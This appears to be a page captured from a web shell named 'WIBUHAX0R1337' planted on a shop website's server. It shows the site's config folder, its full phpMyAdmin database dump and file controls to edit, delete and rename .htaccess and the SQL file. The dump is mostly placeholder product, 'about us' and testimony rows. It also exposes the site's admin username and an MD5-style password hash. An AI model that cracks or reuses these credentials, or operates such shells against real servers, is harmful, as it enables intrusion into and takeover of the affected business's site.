WIBUHAX0R1337

- WIBUHAX0R1337 -

/home/coludnqa/nstorganics.online/config/ [ Home ]

Create Folder Create File

-- phpMyAdmin SQL Dump
-- version 5.2.0
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Dec 12, 2022 at 10:54 PM
-- Server version: 10.4.27-MariaDB
-- PHP Version: 8.1.12

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `nstorganics`
--

-- --------------------------------------------------------

--
-- Table structure for table `products_list`
--

CREATE TABLE `products_list` (
  `product_code` int(11) NOT NULL,
  `product_name` varchar(60) NOT NULL,
  `product_price` varchar(6) NOT NULL DEFAULT '0',
  `promo` int(11) DEFAULT 0,
  `product_pend` varchar(19) NOT NULL,
  `product_category` int(11) NOT NULL,
  `product_htu` mediumtext NOT NULL,
  `available` int(11) NOT NULL,
  `product_image` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `products_list`
--

INSERT INTO `products_list` (`product_code`, `product_name`, `product_price`, `promo`, `product_pend`, `product_category`, `product_htu`, `available`, `product_image`) VALUES
(19, 'Ann Blankenship', '9340', 0, '', 4, 'Nesciunt molestias ', 1, 'nsj-prod-8915.jpg'),
(20, 'Myra Beck', '3479', 1, '2022-09-07', 3, 'Aliqua Rerum qui fa', 1, 'nsj-prod-5305.webp'),
(21, 'Lilah Bradley', '8600', 1, '2022-09-01', 2, '', 1, 'nsj-prod-3496.webp'),
(22, 'Alec Durham', '2010', 0, '', 1, 'Velit qui labore cu', 1, 'nsj-prod-6747.jpg'),
(23, 'Tyrone Mclaughlin', '7594', 0, '', 2, 'Sed perferendis nihi', 1, 'nsj-prod-9567.webp'),
(24, 'Madonna Bryant', '8254', 0, '', 3, 'Deserunt necessitati', 1, 'nsj-prod-1132.jpg'),
(25, 'Jemima Carney', '5344', 0, '', 1, 'Sed et odit reprehen', 1, 'nsj-prod-5438.jpg'),
(26, 'Sade Black', '3394', 1, '2022-10-15', 3, 'Autem et assumenda o', 1, 'nsj-prod-6060.jpg'),
(27, 'Rinah Manning', '2494', 0, '', 2, 'Assumenda tempore v', 1, 'nsj-prod-1183.jpg'),
(28, 'Bree David', '4374', 0, '', 3, 'Omnis ipsum nihil c', 0, 'nsj-prod-7983.webp'),
(29, 'Chadwick Ross', '4644', 0, '', 3, 'Voluptatem odio moll', 1, 'nsj-prod-8854.webp');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_aboutus`
--

CREATE TABLE `tbl_aboutus` (
  `id` int(11) NOT NULL,
  `about` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_aboutus`
--

INSERT INTO `tbl_aboutus` (`id`, `about`) VALUES
(1, ' Lorem ipsum dolor sit amet consectetur, adipisicing elit. Fuga laborum magni vero architecto doloribus eveniet natus veritatis commodi. Sunt ipsum alias maiores accusantium dolores inventore architecto optio natus eius! Recusandae.\r\n        Lorem ipsum, dolor sit amet consectetur adipisicing elit. Velit tempore fugiat, alias voluptatem ab nobis repudiandae accusantium quidem sapiente possimus, aut illum quae praesentium vitae.\r\n Lorem ipsum dolor sit amet consectetur, adipisicing elit.\r\n  ');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_admin`
--

CREATE TABLE `tbl_admin` (
  `id` int(10) UNSIGNED NOT NULL,
  `username` varchar(100) NOT NULL,
  `password` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_admin`
--

INSERT INTO `tbl_admin` (`id`, `username`, `password`) VALUES
(1, 'Nstorganics', '191d2fe97c8d17841868a06837d74ab0');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_category`
--

CREATE TABLE `tbl_category` (
  `id` int(11) NOT NULL,
  `cat_name` varchar(20) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_category`
--

INSERT INTO `tbl_category` (`id`, `cat_name`) VALUES
(1, 'Scrubs'),
(2, 'Soaps'),
(3, 'Creams'),
(4, 'Oils'),
(5, 'Toners'),
(6, 'On Promo');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_gallery`
--

CREATE TABLE `tbl_gallery` (
  `id` int(11) NOT NULL,
  `gimage` varchar(200) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_gallery`
--

INSERT INTO `tbl_gallery` (`id`, `gimage`) VALUES
(2, 'gallery-9484.jpg');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_testimony`
--

CREATE TABLE `tbl_testimony` (
  `id` int(11) NOT NULL,
  `prof_image` varchar(300) NOT NULL,
  `fname` varchar(25) NOT NULL,
  `testimony` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_testimony`
--

INSERT INTO `tbl_testimony` (`id`, `prof_image`, `fname`, `testimony`) VALUES
(1, 'testimony-8803.jpg', 'Cruz Dickerson', 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Tempore magni numquam necessitatibus consectetur perferendis accusamus fugit ea mollitia enim autem, vitae delectus quisquam soluta illum maxime odio animi a distinctio!'),
(2, 'testimony-776.jpg', 'Keane Church', 'Saepe distinctio Du');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `products_list`
--
ALTER TABLE `products_list`
  ADD PRIMARY KEY (`product_code`);

--
-- Indexes for table `tbl_aboutus`
--
ALTER TABLE `tbl_aboutus`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_admin`
--
ALTER TABLE `tbl_admin`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_category`
--
ALTER TABLE `tbl_category`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_gallery`
--
ALTER TABLE `tbl_gallery`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_testimony`
--
ALTER TABLE `tbl_testimony`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `products_list`
--
ALTER TABLE `products_list`
  MODIFY `product_code` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=30;

--
-- AUTO_INCREMENT for table `tbl_aboutus`
--
ALTER TABLE `tbl_aboutus`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `tbl_admin`
--
ALTER TABLE `tbl_admin`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=20;

--
-- AUTO_INCREMENT for table `tbl_category`
--
ALTER TABLE `tbl_category`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;

--
-- AUTO_INCREMENT for table `tbl_gallery`
--
ALTER TABLE `tbl_gallery`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `tbl_testimony`
--
ALTER TABLE `tbl_testimony`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Nama File / Folder	Size	Action
.htaccess	0.192KB	Edit File Delete File Rename
nstorganics.sql	6.878KB	Edit File Delete File Rename